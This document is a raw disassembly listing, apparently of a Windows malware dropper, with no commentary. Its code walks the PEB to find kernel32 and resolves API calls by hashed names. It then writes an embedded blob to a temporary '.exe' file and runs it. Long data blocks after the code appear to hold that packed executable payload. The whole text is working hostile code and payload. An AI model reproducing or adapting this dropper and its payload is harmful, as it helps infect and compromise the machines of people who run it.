_0niaacah:00434005p call sub_4340B9 pop eax pusha lea ebp, [eax-0Ah] call sub_4340A4 sub esp, 400h mov esi, esp push esi push 200h call dword ptr [ebp+0Ah] push esi push 0 lea eax, [ebp+2Ah] push eax push esi call dword ptr [ebp+0Eh] mov edi, esi xor eax, eax mov cl, 0FFh repne scasb mov dword ptr [edi-1], 6578652Eh mov [edi+3], al push 1001h lea eax, [esi+200h] mov byte ptr [eax], 87h push eax push esi call dword ptr [ebp+16h] mov edi, eax push dword ptr [ebp+131h] lea eax, [ebp+135h] push eax push edi call dword ptr [ebp+1Ah] push edi call dword ptr [ebp+1Eh] push 0 push esi call dword ptr [ebp+12h] add esp, 400h popa retn sub_43402C endp ; =============== S U B R O U T I N E ======================================= sub_4340A4 proc near ; CODE XREF: sub_43402C+Ap pusha mov edi, eax loc_4340A7: ; CODE XREF: sub_4340A4+11j mov eax, [edi] test eax, eax jz short loc_4340B7 push ebx push eax call sub_4340DD stosd jmp short loc_4340A7 ; --------------------------------------------------------------------------- loc_4340B7: ; CODE XREF: sub_4340A4+7j popa retn sub_4340A4 endp ; =============== S U B R O U T I N E ======================================= sub_4340B9 proc near ; CODE XREF: sub_43402Cp push ebp mov eax, large fs:30h test eax, eax js short loc_4340D0 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp short loc_4340D9 ; --------------------------------------------------------------------------- loc_4340D0: ; CODE XREF: sub_4340B9+9j mov eax, [eax+34h] mov ebp, [eax+0B8h] loc_4340D9: ; CODE XREF: sub_4340B9+15j mov ebx, ebp pop ebp retn sub_4340B9 endp ; =============== S U B R O U T I N E ======================================= sub_4340DD proc near ; CODE XREF: sub_4340A4+Bp var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4340F3: ; CODE XREF: sub_4340DD+33j jecxz short loc_434127 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi cld loc_4340FE: ; CODE XREF: sub_4340DD+2Dj xor eax, eax lodsb cmp al, ah jz short loc_43410C ror edi, 0Dh add edi, eax jmp short loc_4340FE ; --------------------------------------------------------------------------- loc_43410C: ; CODE XREF: sub_4340DD+26j cmp edi, [esp+20h+arg_0] jnz short loc_4340F3 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp jmp short loc_434129 ; --------------------------------------------------------------------------- loc_434127: ; CODE XREF: sub_4340DD:loc_4340F3j xor eax, eax loc_434129: ; CODE XREF: sub_4340DD+48j mov [esp+20h+var_4], eax popa retn 8 sub_4340DD endp ; --------------------------------------------------------------------------- db 48h, 78h, 0 dd 4B5A4D00h, 454E5245h, 2E32334Ch, 4C4C44h, 455000h, 3014C00h dd 11B0BE00h, 50AD0040h, 0EB3476FFh, 301487Ch, 4C010B01h dd 4C64616Fh, 61726269h, 417972h, 101800h, 1000h, 1000000h dd 40000000h, 100000h, 20000h, 400h, 38000000h, 400h, 0 dd 2100000h, 20000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 0A00h, 2 dup(0) dd 201EE00h, 1400h, 2 dup(0) dd 3876FF00h, 3E8B50ADh, 4200F0BEh, 59276A00h, 76FFA5F3h dd 0FFC88304h, 0EBABDF8Bh, 1Ch, 74654700h, 636F7250h, 72646441h dd 737365h, 2 dup(0) dd 40AB4000h, 0ABF304B1h, 0B50AE0C1h, 8BABF31Ch, 51570C7Eh dd 1742CE9h, 4B1E300h, 0E803E0D3h, 3318538Dh, 514055C0h dd 0EA8BE0D3h, 4C56FF91h, 0D159D233h, 0E2D213E8h, 0EA035DFAh dd 6B895945h, 0F78B5608h, 0A4F3F52Bh, 80B15EACh, 347E3BAAh dd 0FE97820Fh, 5F58FFFFh, 8A1BE359h, 18044707h, 0F773023Ch dd 13C078Bh, 0B0F175h, 4603C80Fh, 0ABC72B38h, 5D5EE5E2h dd 46595159h, 74C085ADh, 9756511Fh, 0AC93D1FFh, 0FB75C084h dd 0EA740638h, 579C68Bh, 66C03346h, 0FF5350ADh, 0E7EBABD5h dd 10000C3h, 100000h, 1F000h, 1000h, 41100000h, 4184D400h dd 82E00h, 6000h, 401000E0h, 41850900h, 0F00000h, 1100000h dd 764800h, 20000h, 409BFC00h, 40FFFF00h, 41864800h, 6000h dd 410619E0h, 400FFC00h, 100000h, 2000000h, 1F000h, 1000h dd 4184A100h, 4184A400h, 4184B300h, 6000h, 28E0h, 0BE00h dd 2 dup(0) dd 2000000h, 0E8000000h, 7D700011h, 0DE194FFBh, 8434EEB3h dd 4DEBDF46h, 1BE507AFh, 682C3855h, 65DFCDC5h, 78B7A432h dd 39D856D1h, 105B2AC2h, 0B425B004h, 76E5A90Fh, 9A287442h dd 6EBFF2F2h, 4F67CB71h, 0FC84266Dh, 0B3558C55h, 552ABF90h dd 2DC1F5C0h, 2E76A96Eh, 0B51101E9h, 0DEB16C80h, 7C529113h dd 22EC7482h, 0CCB5C1CEh, 0C2F64F9Bh, 0C1F1936Dh, 998B8F23h dd 2062B04h, 509E76BEh, 1B179C8Ch, 24C55824h, 80DA57BAh dd 0B3794B61h, 0F480B77Ah, 0C85E7E5Ah, 0E4AECA4Ch, 0E66241E5h dd 0C0B468EEh, 1BA5B5FAh, 6A2D5DDDh, 521C1E2Ch, 0AE159427h dd 0B366AF8Ch, 301DEDEDh, 0FE42DF5Ch, 0D6C75660h, 0E2F8451Bh dd 6B289F19h, 0ECD1E66Eh, 84A0655h, 14DBD3F7h, 0E5F6BF7Ah dd 25990B28h, 0D37F02FEh, 0FBD2FF16h, 9FE37B5Fh, 7B1C818Ah dd 0E3D9DF59h, 0FCAAD56Bh, 33ED29CFh, 0D992EAB7h, 84D7447Ah dd 6E8F937Dh, 0BC7FB400h, 5AF5C60h, 0B4F8072Ch, 0EED43C07h dd 701AA4DBh, 9525D097h, 0B980D889h, 0CCD33E19h, 31314B0h dd 4A7CD498h, 0F247B028h, 596F6F0Ch, 653583A1h, 74DC74BFh dd 9E48C7F6h, 2B5C91FBh, 0C978E63Dh, 4C8CB995h, 5A81CBC5h dd 3AD87787h, 0E293D1Ah, 79AA4F89h, 0F20C3A62h, 4B8CCABDh dd 0FA0BD625h, 0FB0FB631h, 86CD763Eh, 47603BFEh, 5A4E2C15h dd 4528C1D0h, 0F92EDAFCh, 3C3FE71Ch, 0F3AD5B8Dh, 46DCD384h dd 0B5D56E31h, 6D6083B5h, 4802019Ah, 0EC20B8E0h, 0DA71ACF5h dd 0A7826DB8h, 0B8119483h, 6B521167h, 0F5DC09C0h, 551C6879h dd 63EC9C14h, 9B92705Ah, 0B0533975h, 7B284EDDh, 21B25503h dd 15DA48C6h, 0F1E809CEh, 0B00546D5h, 0DF99819h, 0CEC5C953h dd 20142F66h, 3CE52BBFh, 95C6CE65h, 0D5777602h, 0ECC11454h dd 0A28F4621h, 4523AEDh, 0E869F8FEh, 86D9F553h, 0C234910Eh dd 0B99CAF83h, 0E167155Fh, 0E56F08B4h, 0F118964h, 0DF5F3F7h dd 0CA87A541h, 7B2B23F1h, 6251372h, 8A6D9C5Ch, 1B07E4F9h dd 746F4229h, 0ACA7E5Dh, 0A7B3F6F4h, 0B8141B14h, 0CFE925CDh dd 264ED749h, 8139C69Fh, 54F2E42Fh, 93DD7B46h, 365E4F10h dd 7A314685h, 0A5887DC1h, 0D682D8C9h, 82DA568Fh, 9998FA9Eh dd 36FF591Bh, 9078DD5Bh, 48AC9A4Ch, 0D60B9EA1h, 3FB4542Fh dd 3110B3EDh, 4D3A4019h, 0D28F7D65h, 9113022Bh, 59FE190Dh dd 2B6E8181h, 61AC8908h, 2ED25A38h, 4DF04E09h, 5B05E67Eh dd 9EA4F2D5h, 96A7646h, 67A7E59Ah, 4E711384h, 0E82885F5h dd 7185997Ch, 0A951BC3Ch, 2F2CF1Eh, 14E5B0ACh, 0EB4040EDh dd 704F0741h, 33FF3369h, 0C8895A6Bh, 0DA0C75F9h, 4674C44Bh dd 0F33CE65h, 17111322h, 3D5CA16Ah, 726CF9D8h, 0A3CC6D5h dd 49F8EA38h, 0D14345F7h, 728E6469h, 0E30546F9h, 0B11DD583h dd 15D70694h, 0A6D68947h, 88BC8442h, 1CB15AB9h, 5DAF7E1Bh dd 0D58F4CEBh, 187E039Fh, 69BE4BDDh, 0B2D47EE5h, 0CA5CDD6Eh dd 0A0699B3Ah, 0A3DF14F4h, 958ABC4Dh, 4A413759h, 4E61A7A0h dd 1B21FC9h, 8C1CDA3Fh, 7B46BB1Eh, 6096B6A9h, 6DCB59Ch dd 0AC7A1A7Bh, 325E850Dh, 0C2890B8h, 611AE594h, 0C287700Dh dd 666D95D1h, 4A92205Eh, 0A2432DFCh, 0BDBFC23Dh, 2713CE15h dd 0B6BA5712h, 0C8370BB0h, 22099199h, 0ECA4937Fh, 12F18965h dd 0FF4A6A8Ch, 6520F10Eh, 0E1F93E96h, 3501DC5Eh, 3B92163Ch dd 95741EACh, 2755DA11h, 0AD184107h, 0E3F45D15h, 0FB90912Bh dd 0FA7BBBADh, 187D42B8h, 4DCA901Ch, 0D3E367F8h, 41FA52D1h dd 0CB6856DDh, 5C6212E8h, 0D6D8222Eh, 5FF663C2h, 0DC2FD6B4h dd 7F643867h, 2A261B8Ah, 0E270B291h, 0ADE9A4D0h, 0C69E5C7Bh dd 0A29ADBA2h, 735BDC34h, 0E1764BC3h, 51AFFD97h, 5A5840DFh dd 5FDD732Eh, 5BB98F17h, 0CCD03A07h, 0FEDC4BA7h, 2AFF50C1h dd 4019BAF9h, 0D03E6C4Ch, 23216958h, 2EF3E50Eh, 7DB4ED93h dd 78AF8F19h, 8CF1F948h, 0FDD7FD60h, 9CB8FAD4h, 8288CB14h dd 978B54EEh, 517EA2EDh, 0EAADBA88h, 4E8EBA29h, 0EEA084C1h dd 6E3ED5EDh, 0BF193E6Bh, 0B0A65D67h, 0CEE88F79h, 7C180147h dd 1F491483h, 0F84F16BEh, 0CF1DB8Eh, 92A4F102h, 31AFD646h dd 8159C18h, 0DCCB2530h, 5CD5BA3Ch, 78B49C36h, 0D64D74BEh dd 0EE40923Ch, 24214B77h, 787FEA8Eh, 0F742A66Fh, 68A13DECh dd 7BF5147Fh, 4CEFDDF6h, 754DB438h, 28469A39h, 509EB835h dd 60E26EA0h, 0DFA6F387h, 330F7CA2h, 1ABB0D29h, 8417CADFh dd 574E54D8h, 3D364D2Ah, 0F13C1300h, 7E406E8Fh, 356FB6FAh dd 0FDC04CF4h, 0A7341BCAh, 7C2B60FDh, 0C560DD2Ah, 1CCA74E3h dd 11A26C0Bh, 6F73992Ch, 71C7A5BEh, 0AA7BF64Bh, 6A2ED83Ah dd 176D643Bh, 286AECE2h, 0FDDEBCE8h, 8D3D16CFh, 0FFBC019Eh dd 3DCF392Ch, 0AD0DB6D7h, 1B5D9246h, 82032440h, 64CE936Ah dd 2DC2EB07h, 0F31DC907h, 34E087BDh, 77E5279Dh, 0D1D65DD6h dd 9078FAADh, 0C41C4F50h, 0F8F5B614h, 10F85F7Eh, 7A709EE5h dd 0B8592A28h, 97A123B8h, 0F1F5ACB2h, 28BFDA5Eh, 0AA82768Fh dd 414AC3BAh, 0F2DEED9Ch, 9262F9A8h, 0A3AC5D9Eh, 9BB9F317h dd 0FFC73166h, 1BB2292Bh, 0D9DED1D7h, 0E95E90ACh, 0BE9A597h dd 3C6166E6h, 0BD10EE6Ch, 0F32A2B4Ah, 3925A097h, 59F92CE8h dd 787545BFh, 0C5498498h, 0B934F005h, 7436F48h, 2555AA96h dd 88E58851h, 60F198EBh, 216C29Bh, 12D5219Eh, 991E6B8Fh dd 14713750h, 3C24B0F2h, 2CBDEDCBh, 732119FBh, 84191ADEh dd 0F9F48809h, 0FC2D87D7h, 31A9BC0Bh, 17B899C8h, 2536D965h dd 0F382E0FDh, 4CD71AB6h, 0FB967019h, 771A5FE9h, 763C1D6Fh dd 2E9869FEh, 0A541456Ah, 779EEACh, 0E7FEF516h, 963FB4CDh dd 0C30E74C7h, 6560F23Ch, 0AA387707h, 0D5BDA4C1h, 61D5AB3Dh dd 586EC1A4h, 0FB5F139h, 8DE84C0Ah, 0D9FF67A1h, 4545DDF0h dd 52C24AF2h, 0A42B55A5h, 0AAC1E11Eh, 2ECDF42Ch, 0CE3BDEA3h dd 2E5849FAh, 1950DC77h, 0D16C01FDh, 0ABAC5827h, 64B3BDA7h dd 7DB52C98h, 0B5162E4Eh, 384AAACAh, 2597E493h, 3E93E7CCh dd 77FC5C55h, 7E8EF854h, 0FBB892A2h, 42A34E23h, 107D8589h dd 41CA5D39h, 86637F18h, 5109FB43h, 3013EC58h, 42BCBE49h dd 0EA3DA3BCh, 810C1AC1h, 0DE6E8A67h, 0CE21A5B2h, 1E82D8A9h dd 581B2616h, 4066D5D3h, 0F50CD1ECh, 0F2D264C5h, 0B8EFBAD9h dd 0B594B95Ch, 0E1EEA4F2h, 1F0A37FEh, 44D0C2A5h, 0C99ED060h dd 98BE7A6Bh, 39331768h, 8A708D6Fh, 6AD4C450h, 0BCA7375Fh dd 0D189BFDCh, 67393661h, 4168544Bh, 893D94D4h, 92E88279h dd 818A4B33h, 0F16D61A0h, 0ADD5E24Eh, 8F57FF61h, 32901110h dd 0E8A4C1E2h, 232859F3h, 8339A536h, 2BB7DC08h, 0CA384F78h dd 0EAA702EBh, 0F217031Ch, 32F848D8h, 18DB08D2h, 0BFCECA7Eh dd 2197C4B7h, 23599854h, 15F16029h, 0A58396D8h, 6A696BD5h dd 80FC161h, 0FD7397ACh, 0BDE3238Bh, 0E5BFD938h, 78DCFD63h dd 0E116A3BAh, 0AD966188h, 0ADE197A5h, 0CCDAB45Bh, 9984BC03h dd 0F0A027BEh, 0CBFF10AAh, 0D405FEC6h, 8F3B1A53h, 0AD45595Ah dd 4491D673h, 890DEAB5h, 0A1E2731Fh, 985A3F12h, 6FF3CC5h dd 41CD3116h, 10F6E3D5h, 2AE9806Ch, 3D55C477h, 85676D66h dd 66D8078h, 0D986DCACh, 0DD65186Eh, 8F481F1Eh, 0B2D3C7B8h dd 4E15E490h, 1F919135h, 0BB073846h, 95C39B12h, 636325BCh dd 4D85B046h, 0FAF7B4AFh dd 27323321h, 4FB6B8D3h, 994758EEh, 8A275252h, 6137C8C4h dd 0E227B35Fh, 75DF0A1Ah, 0E7C4788Bh, 46637DC9h, 5064DEAFh dd 86EA9F55h, 96D9BE73h, 0F50ED102h, 0C49F780h, 0C31427A5h dd 7D3EF29Ch, 0A12E2AF3h, 8E46A4DCh, 0F696C74Fh, 3868188Dh dd 254D9A7Eh, 7B8C7893h, 0AB84AD45h, 651E86C4h, 0FCC179E0h dd 25394470h, 916C027Bh, 97508951h, 2E436E55h, 4C9BCA61h dd 0AAECE5FBh, 0CA86BA4h, 7CD0EDF0h, 0BC8893D4h, 91B96321h dd 27D6BB99h, 14CBB9CFh, 8D35AFC8h, 0F8BCE626h, 0C837CD3Fh dd 0D8F52C0Fh, 7B9D4CFEh, 615EA097h, 0D9CA8A7h, 0C39A1E0Bh dd 0EF4C861h, 0B32651B4h, 0F4E5AFEEh, 285C8B5Bh, 1CA1D560h dd 92EF9F5Ch, 558C0A93h, 40A04181h, 0EC501E8Fh, 0F698C9A5h dd 6FA05FEBh, 74904BAFh, 176F4C74h, 30B11595h, 3EDF7ED2h dd 424CBE7Dh, 0BD691624h, 520944A0h, 0CE5647CEh, 0B620C052h dd 0C4EC0A3Dh, 3D151CE7h, 4F7EDE90h, 0AB111A33h, 47A0C158h dd 329A0157h, 83F725D0h, 0B33068F9h, 5C7C4AAh, 0A0E34213h dd 0F7570923h, 0B23E26F0h, 0BB100EEBh, 0C4C2D805h, 0B2C61E15h dd 743B4712h, 0FA901AADh, 769667F4h, 0A3262F0h, 0E47E0B09h dd 0D3B4CADBh, 6C613777h, 5CDFAF73h, 6E20CA97h, 0D706CEECh dd 0E18D644Bh, 82663865h, 5366A935h, 1A5D769Ah, 0C9032F09h dd 1E22A642h, 33B2461Bh, 0A47E3B4Ch, 96611094h, 72D1C670h dd 0A12995B5h, 0E14C522Bh, 0B43AB7BEh, 4F5C5063h, 63D6B563h dd 69255776h, 79B9E776h, 0D56BAA97h, 9D48CB1Bh, 5135218Ch dd 389A35h, 75301651h, 4361CC06h, 6BF52940h, 0D45A4C1Ch dd 5928F744h, 0D99A0415h, 61C101B5h, 20C7A44Fh, 6CBA8DE7h dd 74E49EDFh, 9B9FF1DEh, 45417974h, 0C432D3E1h, 2DEB2F30h dd 35E28CFFh, 0C945274Fh, 0EC4FCF2Eh, 2EE2BA2Ah, 4D6DB8F0h dd 2CBD3D92h, 0C050920Ah, 0D9F38F6Dh, 6997CA5Eh, 85D242E0h dd 701D5E73h, 0D20E963Fh, 9020BA14h, 484678F7h, 30CBECEFh dd 5CD67E2Dh, 5EA67FAEh, 0C384C74Ch, 672F4B6Fh, 8E330653h dd 257E3289h, 2BF79904h, 667DCB02h, 839DAF15h, 0C62C7C95h dd 764F7CC2h, 29A2771h, 3EEA1DBAh, 0E0AE0CDDh, 455448EBh dd 7F7E58D3h, 7810CAA5h, 53EAA26Eh, 36164DC6h, 0C98853A9h dd 89ED53F7h, 447E8DD0h, 26013E23h, 6A540410h, 0FAD1BF94h dd 2B9011EDh, 0FE549591h, 0B67B1C06h, 5FBA3035h, 0F9587FCDh dd 36A9604Ch, 0C13682CDh, 4B750C5Eh, 0E95794F3h, 501D800Dh dd 8C1A0C5h, 0EF563EB4h, 24B8D4Ch, 257EDF02h, 0C71BD205h dd 0D5AB6F8h, 133D5174h, 278B59FBh, 0FD350588h, 135E6F6Bh dd 0CFB61F22h, 57FAF9EBh, 0F1B2E751h, 218D7331h, 4621C69Bh dd 7EEFFF99h, 0FB7E1226h, 0F7245EFFh, 91C90CCFh, 0B19131C4h dd 5B59E502h, 6A46319Dh, 64FC909Ch, 2DB66491h, 6514592Ch dd 0A0F1A71Ch, 0BAFA4431h, 0BC87E154h, 2488CC1Eh, 0A89ED9CEh dd 0FF761DE1h, 35EA86FDh, 89098F56h, 0DBF27B50h, 1DC5F1C1h dd 0A178382Eh, 0BBBF5AA0h, 20A20F62h, 4D5B5543h, 68E3511h dd 0C90DA35Ah, 0B31CDB0Ch, 0BB81FFD1h, 32DE13D4h, 5D7EF0B8h dd 0CFB904E7h, 3210EB8h, 0E9F82E21h, 5D585DC6h, 2DA91230h dd 9766EF37h, 591520ECh, 0E67553B6h, 4FDAFA02h, 0AC0CB2FFh dd 85E6CFC9h, 4C0C5960h, 5C4422DAh, 696226BCh, 0CB8FD1ADh dd 530B5ADAh, 0B5DA5640h, 12DFFC71h, 3220C276h, 12FC45C7h dd 32358FE0h, 7C1C6CEBh, 97A53BE6h, 14FC5253h, 47C4078Eh dd 0B82AB917h, 1C2D129Dh, 0A89FF8Fh, 0D7B8E17Bh, 3F9C31F4h dd 0E711D7A4h, 0D7EADFDCh, 0EF57F356h, 0BCC3EE7Dh, 14D14003h dd 0E6BD5083h, 8277D1E7h, 0F706895Dh, 75E04DA8h, 51C6B9B6h dd 4DF30A00h, 2594088Bh, 8646FA24h, 0B628D71Fh, 60E18F51h dd 0D0605F01h, 843876CBh, 16DA9D52h, 2584D431h, 0C71B5ECBh dd 0F9F20516h, 0B0943B49h, 910518BDh, 9CC5F0CCh, 67748D5Eh dd 6FE50665h, 67A85EF3h, 39B56BD4h, 554DB9EDh, 0FDE198B2h dd 1792287Dh, 0CA7940A8h, 40205444h, 0A6E06E0Ch, 81DACC0Eh dd 12ECBB27h, 3E2FBC2h, 0A20284C0h, 0CF3FD4FAh, 63071036h dd 1C88C3C8h, 0F1DD4E21h, 87816A96h, 0B16830B3h, 0D0DF372Ah dd 0E48088C2h, 79C2FE96h, 0DC04043Ch, 993151A1h, 0FF437101h dd 85AC4042h, 0BCA2A3BFh, 93A8AE3Ch, 0D05C37F4h, 3411205h dd 28124740h, 16E590h, 918920B7h, 137B92E9h, 768980F1h dd 153E5A27h, 8BD812C4h, 9A37313Eh, 94E106ACh, 0CA24D3ACh dd 686C05F4h, 15AEAACFh, 37AF9F4Eh, 0E20083BFh, 0E4BC78F5h dd 0CCFF9F0Eh, 8503B2F7h, 8F45E87Bh, 0EA453BEDh, 5CBC6602h dd 889E8D05h, 8F0C16ACh, 0D6934BE3h, 360F0D8Fh, 8214A850h dd 0C2697D16h, 8530D05Dh, 0F77024B4h, 33B47F66h, 0B88F7B1Ah dd 0D9EB551Fh, 0F2D3985Ah, 3D5F8D53h, 4387AE7Dh, 7ABADEC9h dd 0B33DBA9h, 0C4D54461h, 0CC2C5EFCh, 7503E84Ch, 0EEAC89A4h dd 1109EF18h, 63A7300Dh, 0CE068ECBh, 336A8F34h, 0A80BB6C4h dd 3A1387A5h, 0F596365Fh, 0D55651C5h, 0F7553E3Eh, 7FF38EF3h dd 342AC6FFh, 52056684h, 0A33744FFh, 0DFA8DEC3h, 0EA91EBDAh dd 0B49A22EAh, 0F0AD7AD6h, 542AEB3Fh, 5D30254Ah, 8FD57195h dd 0B78A8721h, 99823702h, 455F6B31h, 0DACB4AB7h, 643A0AB9h dd 0A8F766B6h, 4FEAA197h, 4A6BA915h, 0EBC21779h, 75CB688h dd 80DB00DEh, 7D1F7290h, 1DE69E38h, 2C80DBD9h, 3DBE7891h dd 7576657Dh, 9611B286h, 0BF5DA3BAh, 0D7662F8Ah, 0BF23C914h dd 0C7DF1DC8h, 0E78393D1h, 70B2B9FAh, 0B377DFD8h, 42D2785Fh dd 0C02BEC27h, 86A84FE3h, 0A2BF6F97h, 0DC5FFC49h, 4572248Ch dd 824830C4h, 0E41FBA5Ah, 6A191F2Ah, 0E3524EBEh, 0F5D0EB48h dd 0BF0636B0h, 535FB339h, 0E972E499h, 83BD9AB4h, 54993D19h dd 702C3076h, 0B382832Fh, 0A3CACCECh, 8FBE6EB6h, 5A74A3E4h dd 490E283Ah, 0B6242289h, 0EB3577AEh, 267D4401h, 5EFF67FDh dd 377F100Bh, 72FD76F5h, 62A14873h, 0D7AD0BCCh, 0B5BA4345h dd 0F5D9DE21h, 99D274B5h, 534585D6h, 0F849E0D9h, 0E7B98771h dd 74155962h, 790C7D86h, 4144F050h, 0E2F4D902h, 9B51686Fh dd 5D6CD008h, 577F7A39h, 99EC3FD3h, 0F85BE357h, 53962C73h dd 187AE396h, 0FCC06D7Ah, 39C060EAh, 975B9F3h, 70F2DFAEh dd 380CC508h, 0C5F61572h, 0F5B77D49h, 0E27FB3CEh, 0CF548B8Ch dd 0A43C7F0Dh, 8DF3B7A0h, 0A0D05CB0h, 52522BD0h, 2D3A8176h dd 14E5D7ADh, 92A8A198h, 887815B2h, 0A0C4FF1Ah, 46157CBDh dd 0D35847A1h, 0AB3D6FE3h, 654AA091h, 0FAE363F9h, 0FAAF5283h dd 55A0D1A5h, 8E9D66B3h, 0C048B1F4h, 4C47B153h, 0C79862A9h dd 0E204A7A3h, 982DCCD2h, 53FCC127h, 7A46B1B4h, 0AA2211FAh dd 0E71165D2h, 3B9B81C6h, 2BBDD5AFh, 6E2192Bh, 0DDACE946h dd 0B99A7232h, 3F870BC5h, 4A63981Bh, 41FCEC4Dh, 0D426E99Bh dd 0E3E2AAADh, 0CA643506h, 0D48491CFh, 66BC96FBh, 67A3170Eh dd 0B455898Ah, 0EFF3198Fh, 81ECEEF3h, 0C13E3A61h, 0DE7A937Ah dd 9B1CB471h, 78CB05C6h, 3DCE26E8h, 0CBBB78A8h, 0E48FEC23h dd 0C1EAA892h, 90FA56FAh, 4309E04Ah, 27745190h, 5C45AE0Bh dd 0D23B1CCEh, 976FF6D0h, 0B2238B49h, 67BE2EBBh, 0C009E1B7h dd 0D4CB3242h, 66ADAFC0h, 0DBCAD48Dh, 92CAB2A5h, 0F8692D27h dd 9819E6FCh, 0B0D2E4F2h dd 6CE3777Ch, 0BEE3853Fh, 0D22BA5F2h, 4AAFDBh, 787FD7C4h dd 47BC5AEFh, 0D5196F53h, 0D3DCBD6Ah, 0E1559118h, 70C9F411h dd 0A70C8DBCh, 1E7D297Ch, 8E7A1202h, 34F84DB2h, 0E701CC7h dd 1401C98h, 5189BF46h, 0C1DE94F1h, 0ABA43B3Ah, 2DA6B763h dd 71F43ED3h, 42A5480Fh, 21409E2Fh, 172A1AB6h, 337BFBA6h dd 4CA7FCA8h, 0FE369B5Ch, 30BF68C3h, 1B565E0h, 0A34F26F0h dd 7A632738h, 16B5B953h, 0FAD9E4DEh, 16FE869Ch, 223BC978h dd 0F2228B1Ah, 9AE9F1A4h, 0D2EA273Ah, 78FDC1B3h, 70091DB3h dd 0F0E1DB93h, 86C4C7D0h, 0C0D01684h, 510277A2h, 50FA102Bh dd 40665C9Ch, 0EB61041Bh, 3430DB7Fh, 408F0779h, 77A36283h dd 16C97EE8h, 8CD48F1Ch, 212A5632h, 54B469B8h, 5B4CC169h dd 8B9644B9h, 70B3B5Ah, 695A18D0h, 0E9394BDFh, 0DABFD6B5h dd 9FC2E36Dh, 0AA37D293h, 3EB949A6h, 0F32290B1h, 1E9CAA29h dd 0C489E04Ah, 86841A31h, 0E82E2BEDh, 880E4119h, 6683617Ah dd 0D5913C0Ah, 4994E752h, 7DCD45CAh, 0FCC4E8F0h, 3641AAD3h dd 0FE1B9F42h, 70208491h, 0D738639Eh, 1824434h, 0F023467Ah dd 74AD6B4Eh, 26DA814Eh, 67366C8Ah, 8C277B0Eh, 377E8C9h dd 8940AE8Fh, 0BF3B6BA8h, 0D0965A4Bh, 3398B0F0h, 0FCEFB74Eh dd 9769CC15h, 0F40B09F6h, 2CF16EB0h, 65DD03ECh, 0B44D8FF5h dd 2315D29Fh, 89079F42h, 4C1B3F7Bh, 8D6EA437h, 0F0D3634Fh dd 0D6D5D1D4h, 0A7560D52h, 7053D821h, 0D7B232E5h, 9575EBC4h dd 4144BCF0h, 0F12DDC1Ah, 18931560h, 0F87BF8BDh, 5F5468BEh dd 19D4EF47h, 0CCBCF4AAh, 7CC9EBE4h, 0CCB8B9E7h, 7AD2AA22h dd 0A2F92A2Fh, 113E2CCAh, 6E91B338h, 0CE9739Eh, 12279ADBh dd 0FE559FA0h, 42FEDA72h, 195BB270h, 0DFC5A5ACh, 2937705Fh dd 69D197ABh, 4FA0EB0Eh, 14EEAC2h, 0B6276C9Dh, 0F598B2BAh dd 23BDEBAFh, 86209537h, 0DAEBF6CBh, 3EBDD2E2h, 9152B9DDh dd 0BB79E31Ah, 7DE42D63h, 0ABB68DB9h, 588F63C2h, 9C8156E4h dd 2F7F15CCh, 137C957Eh, 0FB55324Ah, 66FDBDEBh, 0BA213DFBh dd 4FD2671h, 531BED91h, 744937Dh, 0D0B26813h, 947F4E54h dd 0D2C4289Bh, 50922FDBh, 6611AF6Dh, 0FC784293h, 9451BB59h dd 0CEC9FF31h, 0FCB0A369h, 6E1FFF1Ah, 0A26FC5E7h, 0E71373D6h dd 79A0C6D8h, 0ACCF1C6Ch, 0E3DFDC7Ch, 7C7775BEh, 0FE3C0686h dd 8498E859h, 5B1846E2h, 21C865CFh, 5AD7447Fh, 6CC7363Bh dd 18B946DDh, 0EDF27234h, 0A9EA8427h, 8F2A7C36h, 4A4DE58Eh dd 461A4ECh, 32669DBDh, 244C3AEh, 45C71915h, 0FB49CE61h dd 615D5A28h, 0BD686F05h, 186DCD1h, 1235106Ah, 0CA0BCF4Ch dd 729BBC32h, 3C274C95h, 6DCDF1D8h, 891D0BDBh, 0C4E9CB56h dd 2B33CAEBh, 7BD67CA6h, 0E3757FBDh, 3356EA3Ah, 443554E5h dd 0DBA8A4A1h, 3D09C55h, 3C66E899h, 0B5262925h, 1150B3D9h dd 314B0929h, 13715D89h, 124505D8h, 98EA4321h, 0D2EC69Fh dd 0EE251DB9h, 2C4B337h, 214E70DFh, 0E0356C50h, 0F8CF851Ah dd 98D34C8Bh, 55473780h, 34BE2771h, 0EF6862A5h, 0F9F1F628h dd 45E18539h, 889CE7C5h, 9EC90747h, 0BB4B318Ch, 94BB82DDh dd 59F2662Ch, 80EF90E0h, 541B6A7h, 1D062249h, 617219E1h dd 4391AF6Dh, 0E3797284h, 3C9C1E4Eh, 0B21A14FAh, 783636Bh dd 0E1124E5Bh, 0D6D9C647h, 1DF88415h, 444C8E9Ah, 3E841E52h dd 0ECF31045h, 2A977C6Bh, 83A12C87h, 0EDA6BE67h, 971AE80Eh dd 0AC592484h, 33203E00h, 411078D3h, 12CAB38Ah, 0E39D344Eh dd 0B2ED4405h, 4A0A102Fh, 0EC8A6261h, 0C56D9AFCh, 5DD655D2h dd 0BD094D0Fh, 0B9602D0Eh, 5483445Bh, 976A2828h, 46610BA1h dd 0F2F72767h, 5E3BE39Eh, 9C577CA9h, 0FA87868Fh, 0FAA78FF0h dd 451A4759h, 1E3F6374h, 6C27151Bh, 0D103CC2Bh, 43AB66A1h dd 0EBB087E4h, 39E81E22h, 1914C487h, 79ECC90Ch, 85626A66h dd 92C4295Dh, 0D0CE9C65h, 73899A23h, 5023D62h, 18DA3B02h dd 0E4E89464h, 4CAC6E60h, 9EC1C295h, 412C687h, 3A8361F4h dd 2F7F2082h, 922BA7Ch, 200B41FCh, 642049ECh, 103F3A60h dd 9894A769h, 143EB320h, 31FAD4DFh, 3BD7B0C0h, 7A39CC01h dd 0D19AAFA8h, 6B1ABA88h, 5BC2B891h, 0CF412EAAh, 3CA06EB3h dd 0D4424CA4h, 6E685E19h, 589FB36Eh, 5959CDDCh, 0ED951168h dd 822AB1E8h, 0E6D1ADC2h, 0C05D5D6Ah, 